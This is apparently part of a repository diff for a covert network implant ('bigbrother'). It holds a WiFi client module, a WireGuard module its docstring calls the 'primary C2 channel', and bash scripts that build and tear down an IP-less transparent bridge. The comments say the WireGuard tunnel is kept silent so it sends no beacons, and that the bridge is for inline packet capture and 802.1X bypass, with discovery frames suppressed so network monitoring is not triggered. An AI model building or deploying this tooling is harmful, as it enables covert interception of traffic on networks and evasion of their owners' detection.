DEFAULT_INTERFACE = "wlan0"
CONNECT_TIMEOUT = 30 # seconds
class WiFiClient(BaseModule):
"""WiFi client — wpa_supplicant managed WPA2-PSK/Enterprise."""
name = "wifi_client"
module_type = "connectivity"
priority = -100
requires_root = True
def __init__(self, bus, state, config, engine=None):
super().__init__(bus, state, config, engine)
self._wpa_proc: Optional[subprocess.Popen] = None
self._interface = DEFAULT_INTERFACE
self._config_path: Optional[str] = None
self._connected = False
self._ssid: Optional[str] = None
# ------------------------------------------------------------------
# BaseModule interface
# ------------------------------------------------------------------
def start(self) -> None:
if self._running:
return
wifi_cfg = self.config.get("connectivity", {}).get("wifi", {})
if not wifi_cfg:
logger.error("No wifi config in bigbrother.yaml")
self.state.set_module_status(self.name, "error")
return
self._interface = wifi_cfg.get("interface", DEFAULT_INTERFACE)
ssid = wifi_cfg.get("ssid")
psk = wifi_cfg.get("psk")
if not ssid:
logger.error("WiFi SSID not configured")
self.state.set_module_status(self.name, "error")
return
# Determine auth type
eap_cfg = wifi_cfg.get("eap")
if eap_cfg:
self._config_path = self._write_enterprise_config(
ssid=ssid,
eap_method=eap_cfg.get("method", "PEAP"),
identity=eap_cfg.get("identity", ""),
password=eap_cfg.get("password", ""),
ca_cert=eap_cfg.get("ca_cert"),
client_cert=eap_cfg.get("client_cert"),
private_key=eap_cfg.get("private_key"),
phase2=eap_cfg.get("phase2", "auth=MSCHAPV2"),
)
elif psk:
self._config_path = self._write_psk_config(ssid, psk)
else:
logger.error("WiFi config has no PSK and no EAP section")
self.state.set_module_status(self.name, "error")
return
if not self.connect(ssid, psk):
logger.error("Failed to connect to WiFi network '%s'", ssid)
self.state.set_module_status(self.name, "error")
return
self._running = True
self._pid = os.getpid()
self._start_time = time.time()
self._ssid = ssid
self._connected = True
self.state.set_module_status(self.name, "running", pid=self._pid)
self.bus.emit("CONNECTIVITY_CHANGED",
{"module": self.name, "state": "up", "ssid": ssid},
source_module=self.name)
logger.info("WiFi connected to '%s' on %s", ssid, self._interface)
def stop(self) -> None:
if not self._running:
return
self.disconnect()
self._running = False
self._connected = False
# Cleanup config file
if self._config_path and os.path.isfile(self._config_path):
try:
os.unlink(self._config_path)
except OSError:
pass
self.state.set_module_status(self.name, "stopped")
self.bus.emit("CONNECTIVITY_CHANGED",
{"module": self.name, "state": "down"},
source_module=self.name)
logger.info("WiFi client stopped")
def status(self) -> dict:
signal = self.get_signal() if self._running else None
return {
"running": self._running,
"pid": self._pid,
"uptime": time.time() - self._start_time if self._start_time else 0,
"connected": self._connected,
"ssid": self._ssid,
"interface": self._interface,
"signal_dbm": signal,
}
def configure(self, config: dict) -> None:
self.config.update(config)
def health_check(self) -> bool:
if not self._running:
return False
return self.is_connected()
# ------------------------------------------------------------------
# WiFi operations
# ------------------------------------------------------------------
def connect(self, ssid: str, psk: str = None) -> bool:
"""Start wpa_supplicant and connect to the configured network."""
# Kill any existing wpa_supplicant on this interface
self._kill_existing_wpa()
# Bring interface up
try:
subprocess.run(
["ip", "link", "set", "up", "dev", self._interface],
check=True, capture_output=True, timeout=10,
)
except (subprocess.CalledProcessError, subprocess.TimeoutExpired) as exc:
logger.error("Failed to bring up %s: %s", self._interface, exc)
return False
# Start wpa_supplicant
cmd = [
WPA_SUPPLICANT_BIN,
"-i", self._interface,
"-c", self._config_path,
"-B", # background
"-D", "nl80211,wext",
"-P", f"/var/run/wpa_supplicant_{self._interface}.pid",
]
try:
result = subprocess.run(cmd, capture_output=True, text=True, timeout=10)
if result.returncode != 0:
logger.error("wpa_supplicant failed to start: %s", result.stderr.strip())
return False
except (subprocess.TimeoutExpired, FileNotFoundError) as exc:
logger.error("wpa_supplicant error: %s", exc)
return False
# Wait for connection
return self._wait_for_connection(timeout=CONNECT_TIMEOUT)
def disconnect(self) -> None:
"""Stop wpa_supplicant and release the interface."""
self._kill_existing_wpa()
self._connected = False
# Release DHCP lease
try:
subprocess.run(
["dhclient", "-r", self._interface],
capture_output=True, timeout=10,
)
except (subprocess.CalledProcessError, subprocess.TimeoutExpired, FileNotFoundError):
pass
def scan(self) -> list:
"""Scan for available WiFi networks. Returns list of dicts."""
networks = []
try:
# Trigger scan
subprocess.run(
[WPA_CLI_BIN, "-i", self._interface, "scan"],
capture_output=True, timeout=10,
)
time.sleep(3.0) # Allow scan to complete
# Get results
result = subprocess.run(
[WPA_CLI_BIN, "-i", self._interface, "scan_results"],
capture_output=True, text=True, timeout=10,
)
if result.returncode == 0:
for line in result.stdout.strip().splitlines()[1:]: # Skip header
parts = line.split("\t")
if len(parts) >= 5:
networks.append({
"bssid": parts[0],
"frequency": int(parts[1]),
"signal": int(parts[2]),
"flags": parts[3],
"ssid": parts[4] if len(parts) > 4 else "",
})
except (subprocess.CalledProcessError, subprocess.TimeoutExpired, FileNotFoundError) as exc:
logger.warning("WiFi scan failed: %s", exc)
# Fallback to iw if wpa_cli not available
if not networks:
networks = self._scan_iw()
return networks
def is_connected(self) -> bool:
"""Check if WiFi is associated and has an IP address."""
try:
result = subprocess.run(
[WPA_CLI_BIN, "-i", self._interface, "status"],
capture_output=True, text=True, timeout=5,
)
if result.returncode != 0:
return False
status_dict = {}
for line in result.stdout.strip().splitlines():
if "=" in line:
k, v = line.split("=", 1)
status_dict[k.strip()] = v.strip()
wpa_state = status_dict.get("wpa_state", "")
self._connected = wpa_state == "COMPLETED"
return self._connected
except (subprocess.TimeoutExpired, FileNotFoundError):
return False
def get_signal(self) -> Optional[int]:
"""Get current signal strength in dBm."""
try:
result = subprocess.run(
[WPA_CLI_BIN, "-i", self._interface, "signal_poll"],
capture_output=True, text=True, timeout=5,
)
if result.returncode == 0:
for line in result.stdout.strip().splitlines():
if line.startswith("RSSI="):
return int(line.split("=", 1)[1])
except (subprocess.TimeoutExpired, FileNotFoundError, ValueError):
pass
# Fallback to /proc/net/wireless
try:
with open("/proc/net/wireless", "r") as f:
for line in f:
if self._interface in line:
parts = line.split()
if len(parts) >= 4:
return int(float(parts[3]))
except (IOError, ValueError, IndexError):
pass
return None
# ------------------------------------------------------------------
# Config generation
# ------------------------------------------------------------------
def _write_psk_config(self, ssid: str, psk: str) -> str:
"""Write WPA2-PSK wpa_supplicant.conf."""
config = (
"ctrl_interface=/var/run/wpa_supplicant\n"
"ctrl_interface_group=0\n"
"update_config=0\n"
"ap_scan=1\n"
"\n"
"network={\n"
f' ssid="{ssid}"\n'
f' psk="{psk}"\n'
" key_mgmt=WPA-PSK\n"
" proto=RSN\n"
" pairwise=CCMP\n"
" group=CCMP\n"
"}\n"
)
return self._write_config_file(config)
def _write_enterprise_config(self, ssid: str, eap_method: str,
identity: str, password: str,
ca_cert: str = None,
client_cert: str = None,
private_key: str = None,
phase2: str = "auth=MSCHAPV2") -> str:
"""Write WPA2-Enterprise wpa_supplicant.conf (PEAP or EAP-TLS)."""
config = (
"ctrl_interface=/var/run/wpa_supplicant\n"
"ctrl_interface_group=0\n"
"update_config=0\n"
"ap_scan=1\n"
"\n"
"network={\n"
f' ssid="{ssid}"\n'
" key_mgmt=WPA-EAP\n"
f' eap={eap_method}\n'
f' identity="{identity}"\n'
)
if eap_method.upper() == "PEAP":
config += f' password="{password}"\n'
config += f' phase2="{phase2}"\n'
if ca_cert:
config += f' ca_cert="{ca_cert}"\n'
elif eap_method.upper() == "TLS":
if ca_cert:
config += f' ca_cert="{ca_cert}"\n'
if client_cert:
config += f' client_cert="{client_cert}"\n'
if private_key:
config += f' private_key="{private_key}"\n'
config += "}\n"
return self._write_config_file(config)
def _write_config_file(self, content: str) -> str:
"""Write config to tmpfs and return path."""
tmpdir = "/dev/shm" if os.path.isdir("/dev/shm") else tempfile.gettempdir()
config_path = os.path.join(tmpdir, f".wpa_{self._interface}.conf")
fd = os.open(config_path, os.O_WRONLY | os.O_CREAT | os.O_TRUNC, 0o600)
try:
os.write(fd, content.encode())
finally:
os.close(fd)
return config_path
# ------------------------------------------------------------------
# Helpers
# ------------------------------------------------------------------
def _wait_for_connection(self, timeout: int = CONNECT_TIMEOUT) -> bool:
"""Wait for wpa_supplicant to complete association."""
deadline = time.time() + timeout
while time.time() < deadline:
if self.is_connected():
# Request DHCP lease
self._request_dhcp()
return True
time.sleep(1.0)
logger.warning("WiFi connection timed out after %ds", timeout)
return False
def _request_dhcp(self) -> None:
"""Request a DHCP lease on the WiFi interface."""
try:
subprocess.run(
["dhclient", "-1", "-nw", self._interface],
capture_output=True, timeout=15,
)
except (subprocess.CalledProcessError, subprocess.TimeoutExpired, FileNotFoundError):
logger.debug("dhclient not available, trying dhcpcd")
try:
subprocess.run(
["dhcpcd", "-1", self._interface],
capture_output=True, timeout=15,
)
except (subprocess.CalledProcessError, subprocess.TimeoutExpired, FileNotFoundError):
logger.warning("No DHCP client available for %s", self._interface)
def _kill_existing_wpa(self) -> None:
"""Kill any existing wpa_supplicant on our interface."""
pid_file = f"/var/run/wpa_supplicant_{self._interface}.pid"
if os.path.isfile(pid_file):
try:
pid = int(open(pid_file).read().strip())
os.kill(pid, 15) # SIGTERM
time.sleep(0.5)
except (ValueError, ProcessLookupError, PermissionError, IOError):
pass
# Also kill by interface match
try:
subprocess.run(
["pkill", "-f", f"wpa_supplicant.*{self._interface}"],
capture_output=True, timeout=5,
)
except (subprocess.CalledProcessError, subprocess.TimeoutExpired, FileNotFoundError):
pass
time.sleep(0.5)
def _scan_iw(self) -> list:
"""Fallback scan using iw command."""
networks = []
try:
result = subprocess.run(
["iw", "dev", self._interface, "scan", "-u"],
capture_output=True, text=True, timeout=15,
)
if result.returncode != 0:
return networks
current = {}
for line in result.stdout.splitlines():
line = line.strip()
if line.startswith("BSS "):
if current:
networks.append(current)
bssid = line.split()[1].split("(")[0]
current = {"bssid": bssid, "ssid": "", "signal": 0, "frequency": 0}
elif line.startswith("SSID:"):
current["ssid"] = line.split(":", 1)[1].strip()
elif line.startswith("signal:"):
try:
current["signal"] = int(float(line.split(":")[1].strip().split()[0]))
except (ValueError, IndexError):
pass
elif line.startswith("freq:"):
try:
current["frequency"] = int(line.split(":")[1].strip())
except (ValueError, IndexError):
pass
if current:
networks.append(current)
except (subprocess.TimeoutExpired, FileNotFoundError):
pass
return networks
+284
View File
@@ -0,0 +1,284 @@
#!/usr/bin/env python3
"""WireGuard module — primary C2 channel.
Self-hosted WireGuard tunnel to operator endpoint. PersistentKeepalive = 0
means the tunnel generates ZERO traffic when idle — no beacons, no heartbeats,
no coordination servers. The tunnel activates instantly when the operator
sends a packet.
"""
import logging
import os
import subprocess
import tempfile
import time
from pathlib import Path
from typing import Optional
from modules.base import BaseModule
logger = logging.getLogger("bb.connectivity.wireguard")
WG_INTERFACE = "wg0"
HEALTH_CHECK_TIMEOUT = 5 # seconds
class WireGuard(BaseModule):
"""Primary C2 — WireGuard tunnel to operator's self-hosted endpoint."""
name = "wireguard"
module_type = "connectivity"
priority = -200
requires_root = True
def __init__(self, bus, state, config, engine=None):
super().__init__(bus, state, config, engine)
self._interface = WG_INTERFACE
self._config_path: Optional[str] = None
self._endpoint: Optional[str] = None
self._peer_allowed_ips: Optional[str] = None
self._connected = False
# ------------------------------------------------------------------
# BaseModule interface
# ------------------------------------------------------------------
def start(self) -> None:
if self._running:
return
wg_cfg = self.config.get("connectivity", {}).get("wireguard", {})
if not wg_cfg:
logger.error("No wireguard config in bigbrother.yaml")
self.state.set_module_status(self.name, "error")
return
self._endpoint = wg_cfg.get("endpoint")
private_key_file = wg_cfg.get("private_key_file")
peer_public_key = wg_cfg.get("peer_public_key")
self._peer_allowed_ips = wg_cfg.get("allowed_ips", "0.0.0.0/0")
listen_port = wg_cfg.get("listen_port", 51820)
address = wg_cfg.get("address", "10.0.0.2/24")
if not all([self._endpoint, private_key_file, peer_public_key]):
logger.error("wireguard config missing required fields: endpoint, "
"private_key_file, peer_public_key")
self.state.set_module_status(self.name, "error")
return
# Read private key
try:
private_key = Path(private_key_file).read_text().strip()
except (OSError, IOError) as exc:
logger.error("Cannot read WireGuard private key: %s", exc)
self.state.set_module_status(self.name, "error")
return
# Write transient WireGuard config
self._config_path = self._write_config(
private_key=private_key,
address=address,
listen_port=listen_port,
peer_public_key=peer_public_key,
endpoint=self._endpoint,
allowed_ips=self._peer_allowed_ips,
)
if not self.up():
logger.error("Failed to bring up WireGuard interface")
self.state.set_module_status(self.name, "error")
return
self._running = True
self._pid = os.getpid()
self._start_time = time.time()
self._connected = True
self.state.set_module_status(self.name, "running", pid=self._pid)
self.bus.emit("CONNECTIVITY_CHANGED",
{"module": self.name, "state": "up",
"endpoint": self._endpoint},
source_module=self.name)
logger.info("WireGuard tunnel up — endpoint %s", self._endpoint)
def stop(self) -> None:
if not self._running:
return
self.down()
self._running = False
self._connected = False
# Cleanup transient config
if self._config_path and os.path.isfile(self._config_path):
try:
os.unlink(self._config_path)
except OSError:
pass
self.state.set_module_status(self.name, "stopped")
self.bus.emit("CONNECTIVITY_CHANGED",
{"module": self.name, "state": "down"},
source_module=self.name)
logger.info("WireGuard tunnel down")
def status(self) -> dict:
connected = self.is_connected()
return {
"running": self._running,
"pid": self._pid,
"uptime": time.time() - self._start_time if self._start_time else 0,
"connected": connected,
"endpoint": self._endpoint,
"interface": self._interface,
}
def configure(self, config: dict) -> None:
self.config.update(config)
def health_check(self) -> bool:
if not self._running:
return False
return self.is_connected()
# ------------------------------------------------------------------
# WireGuard operations
# ------------------------------------------------------------------
def up(self) -> bool:
"""Create wg interface, apply config, bring up."""
try:
# Add WireGuard interface
subprocess.run(
["ip", "link", "add", "dev", self._interface, "type", "wireguard"],
check=True, capture_output=True, timeout=10,
)
except subprocess.CalledProcessError:
# Interface may already exist — try to continue
logger.debug("Interface %s may already exist, continuing", self._interface)
try:
# Apply WireGuard config
subprocess.run(
["wg", "setconf", self._interface, self._config_path],
check=True, capture_output=True, timeout=10,
)
# Assign address from config
wg_cfg = self.config.get("connectivity", {}).get("wireguard", {})
address = wg_cfg.get("address", "10.0.0.2/24")
subprocess.run(
["ip", "addr", "add", address, "dev", self._interface],
check=True, capture_output=True, timeout=10,
)
# Bring interface up
subprocess.run(
["ip", "link", "set", "up", "dev", self._interface],
check=True, capture_output=True, timeout=10,
)
logger.info("WireGuard interface %s is up", self._interface)
return True
except subprocess.CalledProcessError as exc:
logger.error("Failed to configure WireGuard: %s", exc.stderr.decode(errors='replace'))
self._cleanup_interface()
return False
except subprocess.TimeoutExpired:
logger.error("WireGuard command timed out")
self._cleanup_interface()
return False
def down(self) -> bool:
"""Bring down and remove wg interface."""
try:
subprocess.run(
["ip", "link", "set", "down", "dev", self._interface],
capture_output=True, timeout=10,
)
subprocess.run(
["ip", "link", "del", "dev", self._interface],
capture_output=True, timeout=10,
)
logger.info("WireGuard interface %s removed", self._interface)
return True
except (subprocess.CalledProcessError, subprocess.TimeoutExpired) as exc:
logger.warning("Error tearing down WireGuard: %s", exc)
return False
def is_connected(self) -> bool:
"""Check if WireGuard tunnel is active by pinging peer through tunnel."""
if not self._running:
return False
try:
result = subprocess.run(
["wg", "show", self._interface, "latest-handshakes"],
capture_output=True, text=True, timeout=5,
)
if result.returncode != 0:
return False
# Parse latest handshake timestamp — if it's 0 or missing, no peer
for line in result.stdout.strip().splitlines():
parts = line.split()
if len(parts) >= 2:
ts = int(parts[1])
if ts > 0:
# Handshake occurred — tunnel is alive
return True
# No handshake yet is OK — PersistentKeepalive=0 means tunnel is
# dormant until operator connects. Interface being up is sufficient.
iface_check = subprocess.run(
["ip", "link", "show", self._interface],
capture_output=True, timeout=5,
)
return iface_check.returncode == 0
except (subprocess.CalledProcessError, subprocess.TimeoutExpired, ValueError):
return False
def get_endpoint(self) -> Optional[str]:
"""Return the configured endpoint address."""
return self._endpoint
# ------------------------------------------------------------------
# Internal helpers
# ------------------------------------------------------------------
def _write_config(self, private_key: str, address: str, listen_port: int,
peer_public_key: str, endpoint: str,
allowed_ips: str) -> str:
"""Write a transient WireGuard config file and return its path."""
config_content = (
f"[Interface]\n"
f"PrivateKey = {private_key}\n"
f"ListenPort = {listen_port}\n"
f"\n"
f"[Peer]\n"
f"PublicKey = {peer_public_key}\n"
f"Endpoint = {endpoint}\n"
f"AllowedIPs = {allowed_ips}\n"
f"PersistentKeepalive = 0\n"
)
# Write to tmpfs if available, else /tmp
tmpdir = "/dev/shm" if os.path.isdir("/dev/shm") else tempfile.gettempdir()
config_path = os.path.join(tmpdir, f".wg_{self._interface}.conf")
fd = os.open(config_path, os.O_WRONLY | os.O_CREAT | os.O_TRUNC, 0o600)
try:
os.write(fd, config_content.encode())
finally:
os.close(fd)
return config_path
def _cleanup_interface(self) -> None:
"""Best-effort cleanup of a partially-created interface."""
try:
subprocess.run(["ip", "link", "del", "dev", self._interface],
capture_output=True, timeout=5)
except Exception:
pass
+142
View File
@@ -0,0 +1,142 @@
#!/usr/bin/env bash
# Create transparent bridge between two interfaces
# Usage: setup_bridge.sh <if1> <if2>
# No IP assigned — invisible on network
#
# This script creates a Layer 2 bridge for inline packet capture and
# 802.1X bypass. The bridge has NO IP address, making it undetectable
# via network scanning. STP/BPDU/CDP/LLDP frames are suppressed via
# ebtables to avoid triggering network monitoring systems.
set -euo pipefail
BRIDGE="br0"
# --------------------------------------------------------------------------
# Validate arguments
# --------------------------------------------------------------------------
if [[ $# -ne 2 ]]; then
echo "Usage: $0 <interface1> <interface2>" >&2
exit 1
fi
IF1="$1"
IF2="$2"
# Verify interfaces exist
for iface in "$IF1" "$IF2"; do
if ! ip link show "$iface" &>/dev/null; then
echo "Error: interface $iface does not exist" >&2
exit 1
fi
done
# --------------------------------------------------------------------------
# Cleanup any existing bridge
# --------------------------------------------------------------------------
if ip link show "$BRIDGE" &>/dev/null; then
echo "Removing existing bridge $BRIDGE"
ip link set down dev "$BRIDGE" 2>/dev/null || true
ip link del "$BRIDGE" 2>/dev/null || true
fi
# --------------------------------------------------------------------------
# Create bridge
# --------------------------------------------------------------------------
echo "Creating bridge $BRIDGE: $IF1 <-> $IF2"
# Create the bridge device
ip link add name "$BRIDGE" type bridge
# Disable Spanning Tree Protocol
ip link set "$BRIDGE" type bridge stp_state 0
# Zero forwarding delay — start forwarding immediately
ip link set "$BRIDGE" type bridge forward_delay 0
# Disable ageing to keep all MACs in forwarding table
ip link set "$BRIDGE" type bridge ageing_time 0
# --------------------------------------------------------------------------
# Configure interfaces
# --------------------------------------------------------------------------
# Flush any existing IP addresses — bridge must have no L3 presence
ip addr flush dev "$IF1" 2>/dev/null || true
ip addr flush dev "$IF2" 2>/dev/null || true
# Set promiscuous mode — capture all frames
ip link set "$IF1" promisc on
ip link set "$IF2" promisc on
# Disable multicast snooping (avoid IGMP interference)
echo 0 > /sys/devices/virtual/net/"$BRIDGE"/bridge/multicast_snooping 2>/dev/null || true
# Add interfaces to bridge
ip link set "$IF1" master "$BRIDGE"
ip link set "$IF2" master "$BRIDGE"
# Bring everything up
ip link set up dev "$IF1"
ip link set up dev "$IF2"
ip link set up dev "$BRIDGE"
# Ensure bridge has NO IP address
ip addr flush dev "$BRIDGE" 2>/dev/null || true
# --------------------------------------------------------------------------
# ebtables rules — suppress discovery protocols
# --------------------------------------------------------------------------
# Check if ebtables is available
if command -v ebtables &>/dev/null; then
echo "Applying ebtables suppression rules"
# Flush existing rules
ebtables -F 2>/dev/null || true
# STP/BPDU — 01:80:C2:00:00:00
ebtables -A FORWARD -d 01:80:C2:00:00:00 -j DROP
ebtables -A OUTPUT -d 01:80:C2:00:00:00 -j DROP
# CDP/VTP — 01:00:0C:CC:CC:CC
ebtables -A FORWARD -d 01:00:0C:CC:CC:CC -j DROP
ebtables -A OUTPUT -d 01:00:0C:CC:CC:CC -j DROP
# LLDP — 01:80:C2:00:00:0E
ebtables -A FORWARD -d 01:80:C2:00:00:0E -j DROP
ebtables -A OUTPUT -d 01:80:C2:00:00:0E -j DROP
# Cisco PVST+ — 01:00:0C:CC:CC:CD
ebtables -A FORWARD -d 01:00:0C:CC:CC:CD -j DROP
ebtables -A OUTPUT -d 01:00:0C:CC:CC:CD -j DROP
# LLDP alternate — 01:80:C2:00:00:03
ebtables -A FORWARD -d 01:80:C2:00:00:03 -j DROP
ebtables -A OUTPUT -d 01:80:C2:00:00:03 -j DROP
# 802.1X EAP passthrough — allow EAP frames across the bridge
# (default FORWARD policy is ACCEPT, so EAP frames pass unless
# we explicitly blocked them above — we only block management protos)
else
echo "Warning: ebtables not installed — protocol suppression skipped" >&2
fi
# --------------------------------------------------------------------------
# Disable IPv6 on bridge (prevent RA/NS/NA leakage)
# --------------------------------------------------------------------------
sysctl -qw "net.ipv6.conf.${BRIDGE}.disable_ipv6=1" 2>/dev/null || true
sysctl -qw "net.ipv6.conf.${IF1}.disable_ipv6=1" 2>/dev/null || true
sysctl -qw "net.ipv6.conf.${IF2}.disable_ipv6=1" 2>/dev/null || true
# --------------------------------------------------------------------------
# Verify bridge is active
# --------------------------------------------------------------------------
if ip link show "$BRIDGE" | grep -q "state UP"; then
echo "Bridge $BRIDGE is UP: $IF1 <-> $IF2 (no IP, STP disabled)"
bridge link show
exit 0
else
echo "Error: bridge $BRIDGE failed to come up" >&2
exit 1
fi
+85
View File
@@ -0,0 +1,85 @@
#!/usr/bin/env bash
# Teardown bridge and restore interfaces
#
# Removes the transparent bridge, flushes ebtables rules, and restores
# the original interface state. Safe to call even if the bridge is
# already down or partially broken.
set -uo pipefail
# Note: no -e — we want all cleanup steps to run even if some fail
BRIDGE="br0"
echo "Tearing down bridge $BRIDGE"
# --------------------------------------------------------------------------
# Identify bridge members before removal
# --------------------------------------------------------------------------
MEMBERS=()
if ip link show "$BRIDGE" &>/dev/null; then
while IFS= read -r line; do
iface=$(echo "$line" | awk '{print $2}' | tr -d ':')
if [[ -n "$iface" ]]; then
MEMBERS+=("$iface")
fi
done < <(bridge link show master "$BRIDGE" 2>/dev/null | grep -oP '^\d+:\s+\K\S+')
fi
# --------------------------------------------------------------------------
# Remove ebtables rules
# --------------------------------------------------------------------------
if command -v ebtables &>/dev/null; then
echo "Flushing ebtables rules"
ebtables -F 2>/dev/null || true
ebtables -X 2>/dev/null || true
fi
# --------------------------------------------------------------------------
# Bring bridge down
# --------------------------------------------------------------------------
ip link set down dev "$BRIDGE" 2>/dev/null || true
# --------------------------------------------------------------------------
# Remove interfaces from bridge and restore state
# --------------------------------------------------------------------------
for iface in "${MEMBERS[@]}"; do
echo "Restoring interface: $iface"
# Remove from bridge
ip link set "$iface" nomaster 2>/dev/null || true
# Disable promiscuous mode
ip link set "$iface" promisc off 2>/dev/null || true
# Re-enable IPv6
sysctl -qw "net.ipv6.conf.${iface}.disable_ipv6=0" 2>/dev/null || true
# Bring interface up (in case it was downed)
ip link set up dev "$iface" 2>/dev/null || true
done
# --------------------------------------------------------------------------
# Delete bridge device
# --------------------------------------------------------------------------
if ip link show "$BRIDGE" &>/dev/null; then
ip link del "$BRIDGE" 2>/dev/null || true
echo "Bridge $BRIDGE deleted"
else
echo "Bridge $BRIDGE already removed"
fi
# --------------------------------------------------------------------------
# Re-enable IPv6 globally on bridge name (cleanup)
# --------------------------------------------------------------------------
sysctl -qw "net.ipv6.conf.${BRIDGE}.disable_ipv6=0" 2>/dev/null || true
# --------------------------------------------------------------------------
# Verify cleanup
# --------------------------------------------------------------------------
if ip link show "$BRIDGE" &>/dev/null; then
echo "Warning: bridge $BRIDGE still exists after teardown" >&2
exit 1
else
echo "Bridge teardown complete"
exit 0
fi